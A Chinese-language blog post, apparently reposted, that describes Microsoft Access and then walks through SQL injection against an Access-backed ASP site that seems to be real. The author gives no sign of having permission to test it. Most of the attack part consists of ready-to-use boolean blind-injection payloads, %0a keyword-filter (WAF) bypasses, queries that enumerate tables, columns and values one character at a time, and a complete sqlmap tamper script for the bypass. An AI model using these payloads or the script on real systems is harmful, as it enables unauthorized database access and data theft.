Microsoft Access
Microsoft Office Access是由微軟發布的關系資料庫管理系統,它結合了 MicrosoftJet Database Engine 和 圖形用戶界面兩項特點,是 Microsoft Office 的系統程式之一,
Microsoft Office Access是微軟把資料庫引擎的圖形用戶界面和軟體開發工具結合在一起的一個資料庫管理系統,它是微軟OFFICE的一個成員, 在包括專業版和更高版本的office版本里面被單獨出售,== 2018年9月25日,最新的微軟Office Access 2019在微軟Office 2019里發布, ==
MS ACCESS以它自己的格式將資料存盤在基于Access Jet的資料庫引擎里,它還可以直接匯入或者鏈接資料(這些資料存盤在其他應用程式和資料庫),
軟體開發人員和資料架構師可以使用Microsoft Access開發應用軟體,“高級用戶”可以使用它來構建軟體應用程式,和其他辦公應用程式一樣,ACCESS支持Visual Basic宏語言,它是一個面向物件的編程語言,可以參考各種物件,包括DAO(資料訪問物件),ActiveX資料物件,以及許多其他的ActiveX組件,可視物件用于顯示表和報表,他們的方法和屬性是在VBA編程環境下,VBA代碼模塊可以宣告和呼叫Windows作業系統函式,
這是不是說Access再一次崛起了???
Microsoft Access 特性
Access資料庫中沒有注釋符號.因此 /**/ 、 – 和 # 都沒法使用,
Access資料庫不支持錯誤顯示注入,Access資料庫不能執行系統命令,
access資料庫中沒有 limit,就不能限制查詢出來的行數,但是我們可以使用top命令,top 1是將查詢的所有資料只顯示第一行
在這里強調這個,是因為access資料庫雖然也支持order by 、union select 、布爾型注入,但是由于不存在注釋符,所以在手工注入的時候,需要注意,以及想要繞過waf規則的時候,就不要浪費力氣寫啥 == /**/ ==這種了
Access資料庫注入
某日,進行測驗的時候,突然發現某asp網站疑似存在Int型注入
頁面原型:
?ID=382
輸入測驗poc,此時頁面變化為英文
?ID=382-1

為了驗證猜測,訪問 == ID=381 == 頁面,與漏洞展示頁面一致

由于ASP大部分都是Access資料庫,所以這個時候也想按照Access資料庫進行注入;開始使用聯合查詢,但是發現并沒有什么卵用,所以還是使用布爾查詢,畢竟只是想驗證猜想
Access資料庫特有的表是:msysobjects ,所以可以用它來判斷是否是Access資料庫
and exists(select*from msysobjects)
然后尷尬的事情果然發生了

不知道是啥waf,盲猜是自己寫的一個過濾,竟然是黑名單過濾,那就有機會饒
首先當然是先看一下,他的防護規則是啥,當然是要在作死的邊緣瘋狂試探
or 1=1

or true

or false

非常好,看來布爾是好使的,接下來就看到底是屏蔽了啥,一般情況下,waf捕捉的關鍵字,通常為 特殊符號里的單引號、注釋符、星號;or / and / order by / union select / select from
這里屏蔽的關鍵字,不會單獨屏蔽,但是連在一起就會被發現,所以這里屏蔽的其實就是 select + from
所以接下來就要嘗試一下,如何才能繞過;一開始使用特殊編碼轉換關鍵字,使用特殊編碼
%53elect
select+distinct+
SeleCT
SeleCt%0d%0a
select%2f**%2f
select%23%0a
select%0A
最后在%0a這里繞過去了,想麻煩了,繞過去了,但是沒完全過去,giao
%0Aand%0Aexists(select%0A*%0Afrom%0Amsysobjects)

一開始還以為哪里出了問題,或者沒繞過去,但是被我發現,這個默認表可能是給隱藏了,那就報表好了,當admin表不存在的回傳
%0aor%0aexists(%0aSeLeCt%0A*from%0aadmin)

這里存在job表
%0aor%0aexists(%0aSeLeCt%0A*from%0ajob)

判斷job表的列個數
+or+exists(select%0A*from job order by 29)

判斷列的欄位名
+or exists(select%0aid from job)

猜測第一個id值的長度
+or+(select%0Atop+1+len(id)from+job)>2

判斷第一位id的值
這里使用第一條payload計算ascii值失敗了
+or (select%0atop 1 asc(mid(id,1,1)) from job)>32

直接爆破第一位吧,猜測id列的第一行資料的第一個字符的的值,由于id引數是整型,所以不需要使用ascii轉換
+or+(select%0Atop+1+mid(id,1,1) from job)=3
判斷第二位id的值
+or+(select%0Atop+1+mid(id,2,1) from job)=7

得到id值為== 37 ==
判斷第二排id值長度
+or+(select%0Atop+1+len(id)+from+(+select%0Atop+2+*+from+job)+order+by+id+desc)>2

對于判斷存在哪些表,只能用以下列舉的方法來猜測是否存在某某表,
為了方便觀看,暫時不將空格進行替換(找大字典,配合burp進行列舉即可)
and exists(select * from 表名)
判斷列的個數
and exists(select*from 表名 order by 個數)
判斷列的欄位名
and exists(select 欄位名 from 表名)
判斷表內資料的行數
and (select count(*) from XXX)>數量
判斷列的第一個資料的長度
and (select top 1 len(欄位名) from 表名)>長度
猜測xx列的第一行資料的第一個字符的ascii碼值
and (select top 1 asc(mid(欄位名,1,1)) from 表名)>32
由于top命令區別于limit,他只能是前幾行,top 1就是第一行,top 2就是前兩行;此時借鑒人家的,那就是使用聯合查詢,先查詢前兩條資料然后做一個倒順序排列,這樣的話將查詢結果當成一個單獨的表,而由于使用了倒敘,所以第二條資料就變成了第三條,再將查詢結果進行判斷前一條,這樣就解決了這個問題
and (select top 1 len(欄位名) from ( select top 2 * from 表名 ) order by id desc)>2
要是想用sqlmap呢,沒有waf的情況,get型的直接
== sqlmap -u http://xxx.xxx.xxx --tables ==
替換空格為 %0a 的tamper腳本:
#!/usr/bin/env python
"""
空格替換成%0a
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += "%0A"
continue
elif payload[i] == '\'':
quote = not quote
elif payload[i] == '"':
doublequote = not doublequote
elif payload[i] == " " and not doublequote and not quote:
retVal += "%0A"
continue
retVal += payload[i]
return retVal
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/316374.html
標籤:其他
上一篇:以角度上傳影像檔案
